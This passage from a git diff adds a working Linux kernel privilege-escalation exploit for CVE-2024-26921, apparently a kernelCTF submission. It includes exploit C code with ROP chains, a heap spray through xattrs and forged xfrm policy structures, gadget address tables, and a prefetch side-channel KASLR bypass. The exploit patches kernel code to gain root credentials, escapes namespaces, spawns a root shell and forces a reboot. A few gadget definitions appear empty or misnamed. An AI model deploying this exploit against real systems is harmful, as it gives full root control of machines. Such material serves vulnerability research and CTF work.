/tmp/exp/exploit"); + system("tar -xpf tools.tar.gz"); + + setup_namespaces(); + setup_network(NULL); + + set_cpu(0); + + system("./ip link add p1 type veth peer p2"); + system("./ip a add 10.1.1.1/24 dev p1"); + + + system("./ip a add 10.2.1.1/24 dev veth0"); + system("./ip link set up dev veth0"); + system("./ip link set up dev p1"); + + system("./ip link add link p1 name ipv0 type ipvlan mode l3"); + system("./ip link add link p1 name ipv1 type ipvlan mode l3"); + system("./ip a add 10.3.0.1/24 dev ipv0"); + system("./ip a add 10.4.0.1/24 dev ipv1"); + system("./ip link set up mtu 400 dev ipv0"); + system("./ip link set up mtu 10000 dev ipv1"); + system("./ip ro add 10.7.0.0/16 dev ipv0"); + + system("./iptables -t nat -A OUTPUT -o p1 -j DNAT --to-destination 10.7.0.1"); + + system("./iptables -t mangle -A OUTPUT -o p1 -d 10.7.0.1 -m tos '!' --tos 6 -j TEE --gateway 10.4.0.10"); + system("./iptables -t mangle -A OUTPUT -o p1 -d 10.7.0.1 -j TOS --set-tos 6"); + system("./iptables -t raw -A OUTPUT -o p1 -p udp -d 10.7.0.1 -jCT --helper sip"); + + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); + + int xfd = -1; + unsigned int xattr_fd_idx = 0; + char fname[512]; + + g_payload_location = g_page_offset_base + 0x50000020; + + memset(g_mmapped_buf, 'A', 0x10000); + + prepare_policy(g_mmapped_buf); + + for (int i = 0; i < XATTR_CNT; i++) + { + if (i == 0 || (i / XATTR_CHUNK) > xattr_fd_idx) { + xattr_fd_idx = i / XATTR_CHUNK; + if ((i % 1000) == 0) + printf("xattrs %d/%d\n", i, XATTR_CNT); + + snprintf(fname, sizeof(fname), "/tmp/x_%d", xattr_fd_idx); + + xfd = open(fname, O_RDWR|O_CREAT, 0600); + if (xfd < 0) + err(1, "xattr open\n"); + } + + alloc_xattr_fd(xfd, i, 65535, g_mmapped_buf); + } + + set_cpu(1); + int pid = fork(); + + if (pid) { + set_cpu(0); + int sock = send_packet(); + sleep(10000); + } + + sleep(1); + + syscall(__NR_kexec_file_load); + + after_pwn(); + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/kernelver_16919.450.26.h b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/kernelver_16919.450.26.h new file mode 100644 index 000000000..4299610f6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/kernelver_16919.450.26.h @@ -0,0 +1,29 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff81792b50 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0x +#define FIND_TASK_BY_VPID 0xffffffff810fffa0 +#define POP_RCX 0xffffffff8102511c +#define INIT_CRED 0xffffffff83267360 +#define PUSH_RSI_JMP_QWORD_RSI_39 0xffffffff81858337 +#define POP_RSI_RDX_RCX 0xffffffff8102511a +#define INIT_NSPROXY 0xffffffff832670e0 +#define SWITCH_TASK_NAMESPACES 0xffffffff81107330 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff813b25fd +#define POP_RDI_RSI_RDX_RCX 0xffffffff81025119 +#define POP_RSI_RDI 0xffffffff81911a74 +#define POP_RDX_RDI 0xffffffff8177eb1b +#define POP_RSP_RBP_RBX 0xffffffff81065159 +#define AUDIT_SYSCALL_EXIT 0xffffffff811a61b0 +#define RETURN_VIA_SYSRET 0x +#define MEMCPY 0xffffffff81ee0290 +#define COMMIT_CREDS 0xffffffff81108e50 +#define POP_RSI 0xffffffff812718be +#define POP_RSP 0xffffffff811014eb +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81025111 +#define POP_RDI 0xffffffff810cd44c +#define POP_RDX 0xffffffff8106139d +#define RW_BUFFER 0xffffffff84100000 +#define G1 0xffffffff81ca5ef4 +#define SET_MEMORY_RW 0xffffffff8107a220 +#define MSLEEP 0xffffffff8115e540 +#define SYS_KEXEC_FILE_LOAD 0xffffffff811838e0 +#define RETURN_THUNK 0xffffffff82204100 diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/tools.tar.gz b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/tools.tar.gz new file mode 100644 index 000000000..67f422234 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/cos-97-16919.450.26/tools.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/Makefile b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/Makefile new file mode 100644 index 000000000..6d11bcd82 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/Makefile @@ -0,0 +1,10 @@ +INCLUDES = -I/usr/include/libnl3 +LIBS = -L. -pthread -lnl-cli-3 -lnl-route-3 -lnl-3 -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_6.6.23.h kaslr.c + gcc -o $@ exploit.c kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + objcopy --add-section tools=tools.tar.gz $@ + +prerequisites: + sudo apt-get install libnl-cli-3-dev libnl-route-3-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit new file mode 100755 index 000000000..70584a508 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit.c b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit.c new file mode 100644 index 000000000..b2b99d1f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/exploit.c @@ -0,0 +1,858 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#include "kernelver_6.6.23.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +uint64_t leak_kernel_text(); +uint64_t leak_direct_mapping(); + +#ifdef DEBUG +#define err(errcode, msg, ...) \ + do { \ + perror(msg); \ + sleep(1000); \ + } while (0) +#define errx(errcode, msg, ...) \ + do { \ + puts(msg); \ + sleep(1000); \ + } while (0) +#endif + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 25000 +/* +#define PAGE_OFFSET_BASE 0xffff888000000000 +#define PAGE_OFFSET_BASE 0xffff943e80000000 +*/ + +static uint64_t g_payload_location; +static uint64_t g_page_offset_base; + +static int g_pwned; +static char *g_rop2; +static size_t g_rop2_len; + +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r15\n" + "push %r14\n" + "push %r13\n" + "push %r12\n" + "push %rbx\n" + "push %rbp\n" + "lea -0x2916f1(%rip), %r15\n" + ); + asm volatile( + "lea (%%r15,%0), %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + ); + asm volatile( + "lea (%%r15,%0), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(AUDIT_SYSCALL_EXIT)) + ); + + asm volatile( + "lea (%%r15,%0), %%r12\n" + "mov $1, %%rdi\n" + "call *%%r12\n" + "mov %%rax, %%r13\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + ); + + asm volatile( + "movq 0x820(%%r13), %%r14\n" + "movq $0x10, (%%r14)\n" + "lea (%%r15,%0), %%rsi\n" + "mov %%r13, %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + ); + + asm volatile( + "lea (%%r15,%0), %%rax\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r12\n" + "pop %%r13\n" + "pop %%r14\n" + "pop %%r15\n" + "jmp *%%rax\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + ); + +} + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + +void __attribute__((naked)) after_pwn() +{ + g_pwned = 1; + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + if (access("/proc/vmallocinfo", R_OK)) { + printf("Exploit failed!\n"); + exit(1); + } + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfff); + *rop++ = kaddr(POP_RSI); + *rop++ = 1; + *rop++ = kaddr(SET_MEMORY_RW); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr(MEMCPY); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2, uint64_t *const_area, uint64_t const_area_kernel) + +{ + uint64_t *rop2_start = rop2; + + memcpy(const_area, get_root, 0x200); + rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) const_area_kernel, 0x200); + + *rop2++ = kaddr(POP_RDI); + *rop2++ = 10000000; + *rop2++ = kaddr(MSLEEP); + + return (char *) rop2 - (char *) rop2_start; +} + + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +int setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/run", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } + + if (mount("/tmp/x86_64-linux-gnu", "/usr/lib/x86_64-linux-gnu", "", MS_BIND, NULL)) { + perror("mount"); + exit(1); + } + + mkdir("/tmp/tmp2", 0700); + if (mount("tmpfs", "/tmp/tmp2", "tmpfs", 0, "size=3G,nr_inodes=0")) { + perror("mount"); + exit(1); + } + +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); + + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + + +void add_qdisc_plug(uint32_t handle, uint32_t parent, int action) +{ + struct rtnl_qdisc *qdisc; + struct rtnl_tc *tc; + int err, flags = 0; + char *kind, *id = NULL; + + if (!action) + flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REPLACE; + + qdisc = nl_cli_qdisc_alloc(); + tc = (struct rtnl_tc *) qdisc; + + nl_cli_tc_parse_dev(tc, g_link_cache, "ipv0"); + + if (parent) + rtnl_tc_set_parent(tc, parent); + else + nl_cli_tc_parse_parent(tc, "root"); + + if (!rtnl_tc_get_ifindex(tc)) + nl_cli_fatal(EINVAL, "You must specify a network device (--dev=XXX)"); + + if (!rtnl_tc_get_parent(tc)) + nl_cli_fatal(EINVAL, "You must specify a parent"); + + + rtnl_tc_set_handle(tc, handle); + + rtnl_tc_set_kind(tc, "plug"); + + + if (!action) + rtnl_qdisc_plug_set_limit(qdisc, 0x100000); + else if (action == 2) + rtnl_qdisc_plug_release_indefinite(qdisc); + else + rtnl_qdisc_plug_buffer(qdisc); + + + if ((err = rtnl_qdisc_add(g_nl_sock, qdisc, flags)) < 0) + nl_cli_fatal(EINVAL, "Unable to add qdisc: %s", nl_geterror(err)); +} + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - 32, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +int send_packet() +{ + int ret, sock; + struct sockaddr_in addr; + struct sockaddr_ll my_addr; + + add_qdisc_plug(0x10000, 0, 0); + add_qdisc_plug(0x10000, 0, 3); + + sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); + if (sock < 0) + err(1, "packet socket"); + + struct ifreq s_ifr; + strcpy(s_ifr.ifr_name, "ipv1"); + +/* get interface index */ + if (ioctl(sock, SIOCGIFINDEX, &s_ifr) < 0) + err(1, "ioctl"); + +/* fill sockaddr_ll struct to prepare binding */ + my_addr.sll_family = AF_PACKET; + my_addr.sll_protocol = htons(ETH_P_IP); + my_addr.sll_ifindex = s_ifr.ifr_ifindex; + my_addr.sll_halen = ETH_ALEN; + + char dstaddr[ETH_ALEN] = {0x88,0x88,0x88,0x88,0x88,0x88}; + memcpy(&my_addr.sll_addr, dstaddr, ETH_ALEN); + + memset(g_mmapped_buf, 0, 0x1000); + + struct iphdr *iph = (struct iphdr *) g_mmapped_buf; + iph->protocol = IPPROTO_UDP; + iph->saddr = inet_addr("10.77.77.1"); + iph->daddr = inet_addr("10.6.0.1"); + iph->id = 0; + iph->tos = 0x99; + iph->ihl = 5; + + struct udphdr *udph = (struct udphdr *) (iph+1); + udph->source = 0x1111; + udph->dest = 0x1160; + udph->len = htons(1500 - 20); + + memset(udph+1, 'A', 0x1000); + +// sk_policy + *(uint64_t *) (g_mmapped_buf + 0x128) = g_payload_location; +// sk_mark + *(uint32_t *) (g_mmapped_buf + 0x1b4) = 0x1000000; + + ret = sendto(sock, g_mmapped_buf, 1500, 0, (struct sockaddr *) &my_addr, sizeof(my_addr)); + if (ret < 0) + perror("send"); + + close(sock); + add_qdisc_plug(0x10000, 0, 2); +} + + +void prepare_policy(char *policy) +{ + memset(policy, 0, 0x3000); +// xp_net + *(uint64_t *) (policy) = g_payload_location + 0x300; +// refcnt + *(uint32_t *) (policy + 0x30) = 1; +// if_id + *(uint32_t *) (policy + 0x6c) = 0; + +// mark + *(uint32_t *) (policy + 0x70) = 0; + *(uint32_t *) (policy + 0x74) = 0; + + *(uint16_t *) (policy + 0x78 + 0x28) = 2; +// selector.prefixlen_d + *(uint8_t *) (policy + 0x78 + 0x2a) = 0xff; +// selector.prefixlen_s + *(uint8_t *) (policy + 0x78 + 0x2b) = 0xff; + +// type + *(uint8_t *) (policy + 0x171) = 1; +// action + *(uint8_t *) (policy + 0x172) = 0; +// xfrm_nr + *(uint8_t *) (policy + 0x174) = 1; +// family + *(uint16_t *) (policy + 0x176) = 2; + +// tmpl.id.daddr + *(uint32_t *) (policy + 0x180 + 0) = inet_addr("10.6.0.1"); +// tmpl.id.spi + *(uint32_t *) (policy + 0x180 + 0x10) = 0; +// tmpl.id.proto + *(uint32_t *) (policy + 0x180 + 0x14) = IPPROTO_ESP; +// tmpl.saddr + *(uint32_t *) (policy + 0x180 + 0x18) = inet_addr("10.77.77.1"); +// tmpl.encap_family + *(uint16_t *) (policy + 0x180 + 0x28) = 2; +// tmpl.reqid + *(uint32_t *) (policy + 0x180 + 0x2c) = 0; + +// struct net +// dst_ops.gc + *(uint64_t *) (policy + 0x300 + 0xb00 + 0x180 + 8) = kaddr(G1); + + uint64_t *rop = (uint64_t *) (policy + 0x300 + 0xb00 + 0x180 + 0x10); + + *rop++ = kaddr(POP_RSP); + *rop++ = g_payload_location + 0x1200; + uint64_t *rop2 = (uint64_t *) (policy + 0x1200); + + prepare_rop2(rop2, (uint64_t *) (policy + 0x2400), g_payload_location + 0x2400); + + + *(uint64_t *) (policy + 0x300 + 0xb00 + 0x180 + 0x39) = kaddr(POP_RSP_RBP_RBX); + *(uint64_t *) (policy + 0x300 + 0xb00 + 0x180 + 0x88) = 0xffffffff; + *(uint64_t *) (policy + 0x300 + 0xb00 + 0x180 + 0xc8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_039); +// state_bydst + *(uint64_t *) (policy + 0x300 + 0xb00 + 0x10) = g_payload_location + 0x2000; + + *(uint64_t *) (policy + 0x2000) = g_payload_location + 0x2200 + 8; + +// xfrm_state +// +// refcnt + *(uint32_t *) (policy + 0x2200 + 0x48) = 1; +// family + *(uint16_t *) (policy + 0x2200 + 0xe2) = 2; +// daddr + *(uint32_t *) (policy + 0x2200 + 0x50) = inet_addr("10.7.0.1"); +// proto + *(uint8_t *) (policy + 0x2200 + 0x64) = IPPROTO_ESP; + +// selector.family + *(uint16_t *) (policy + 0x2200 + 0x68 + 0x28) = 2; +// selector.prefixlen_d + *(uint8_t *) (policy + 0x2200 + 0x68 + 0x2a) = 0xff; +// selector.prefixlen_s + *(uint8_t *) (policy + 0x2200 + 0x68 + 0x2b) = 0xff; +// state + *(uint8_t *) (policy + 0x2200 + 0xb8 + 0x10) = 2; +} + + +int main(int argc, char **argv) +{ + int ret; + + system("cat /proc/cpuinfo"); + + g_kernel_text = leak_kernel_text(); + printf("Using kernel base: 0x%lx\n", g_kernel_text); + + g_page_offset_base = leak_direct_mapping(); + printf("Using page_offset_base 0x%lx\n", g_page_offset_base); + + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + chdir("/tmp"); + + system("objcopy --dump-section tools=tools.tar.gz /tmp/exp/exploit"); + system("tar -xpf tools.tar.gz"); + + setup_namespaces(); + setup_network(NULL); + + set_cpu(0); + + system("./ip link add p1 type veth peer p2"); + system("./ip a add 10.1.1.1/24 dev p1"); + + + system("./ip a add 10.2.1.1/24 dev veth0"); + system("./ip link set up dev veth0"); + system("./ip link set up dev p1"); + + system("./ip link add link p1 name ipv0 type ipvlan mode l3"); + system("./ip link add link p1 name ipv1 type ipvlan mode l3"); + system("./ip a add 10.3.0.1/24 dev ipv0"); + system("./ip a add 10.4.0.1/24 dev ipv1"); + system("./ip link set up mtu 400 dev ipv0"); + system("./ip link set up mtu 10000 dev ipv1"); + system("./ip ro add 10.7.0.0/16 dev ipv0"); + + system("./iptables -t nat -A OUTPUT -o p1 -j DNAT --to-destination 10.7.0.1"); + + system("./iptables -t mangle -A OUTPUT -o p1 -d 10.7.0.1 -m tos '!' --tos 6 -j TEE --gateway 10.4.0.10"); + system("./iptables -t mangle -A OUTPUT -o p1 -d 10.7.0.1 -j TOS --set-tos 6"); + system("./iptables -t raw -A OUTPUT -o p1 -p udp -d 10.7.0.1 -jCT --helper sip"); + + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); + + int xfd = -1; + unsigned int xattr_fd_idx = 0; + char fname[512]; + + g_payload_location = g_page_offset_base + 0x50000028; + + memset(g_mmapped_buf, 'A', 0x10000); + + prepare_policy(g_mmapped_buf); + + for (int i = 0; i < XATTR_CNT; i++) + { + if (i == 0 || (i / XATTR_CHUNK) > xattr_fd_idx) { + xattr_fd_idx = i / XATTR_CHUNK; + if ((i % 1000) == 0) + printf("xattrs %d/%d\n", i, XATTR_CNT); + + snprintf(fname, sizeof(fname), "/tmp/tmp2/x_%d", xattr_fd_idx); + + xfd = open(fname, O_RDWR|O_CREAT, 0600); + if (xfd < 0) + err(1, "xattr open\n"); + } + + alloc_xattr_fd(xfd, i, 65535, g_mmapped_buf); + } + + set_cpu(1); + int pid = fork(); + + if (pid) { + set_cpu(0); + int sock = send_packet(); + sleep(10000); + } + + sleep(1); + + syscall(__NR_kexec_file_load); + + after_pwn(); + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kaslr.c b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kaslr.c new file mode 100644 index 000000000..d992a6d9d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26921_lts_cos/exploit/lts-6.6.23/kaslr.c @@ -0,0 +1,185 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000) + { + time = measure(addr); + + if ((i++ % 16) == 0) + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} + +uint64_t leak_direct_mapping() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), 